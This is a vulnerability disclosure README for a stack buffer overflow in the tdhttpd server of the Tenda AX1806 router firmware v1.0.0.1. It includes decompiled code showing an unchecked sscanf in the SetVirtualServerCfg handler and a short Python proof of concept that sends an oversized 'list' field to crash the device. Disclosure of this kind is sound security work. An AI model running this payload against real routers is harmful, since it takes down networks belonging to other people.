d1tto add A18 and AX1806 ... on May 26 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the `formSetVirtualSer` function, which can be accessed via the URL `goform/SetVirtualServerCfg` .

```
void formSetVirtualSer(undefined4 param_1)

{
  undefined4 uVar1;
  int iVar2;
  char acStack288 [16];
  char acStack272 [256];

  memset(acStack272,0,0x100);
  memset(acStack288,0,0x10);
  uVar1 = FUN_000295c8(param_1,"list",&DAT_001c2cf0);
  FUN_000631d0("adv.virtualser",uVar1,L'~');
  GetValue("adv.virtualser.listnum",acStack288);
  iVar2 = atoi(acStack288);
  sprintf(acStack272,"op=%d,index=%d",2,iVar2);
  iVar2 = send_msg_to_netctrl(0x1b,acStack272);
  FUN_00029750(param_1,
               "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Co
               ntrol: no-cache\n\n"
              );
```

In function `FUN_000631d0`, the function `sscanf` is called to split it and copy to stack buffer without checking its length.

```
  else {
    iVar4 = 1;
    while( true ) {
      pcVar2 = strchr(param_2,param_3);
      if (pcVar2 == (char *)0x0) break;
      *pcVar2 = '\0';
      memset(acStack480,0,0x40);
      sprintf(acStack480,"%s.list%d",param_1,iVar4);
      iVar3 = __isoc99_sscanf(param_2,"%[^,]%*c%[^,]%*c%[^,]%*c%s",acStack496,&local_210,&local_208,
                              &local_200);
      if (iVar3 == 4) {
```

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"list": b'A'*0x400+b'~'
}
res = requests.post("http://127.0.0.1/goform/SetVirtualServerCfg", data=data)
print(res.content)
```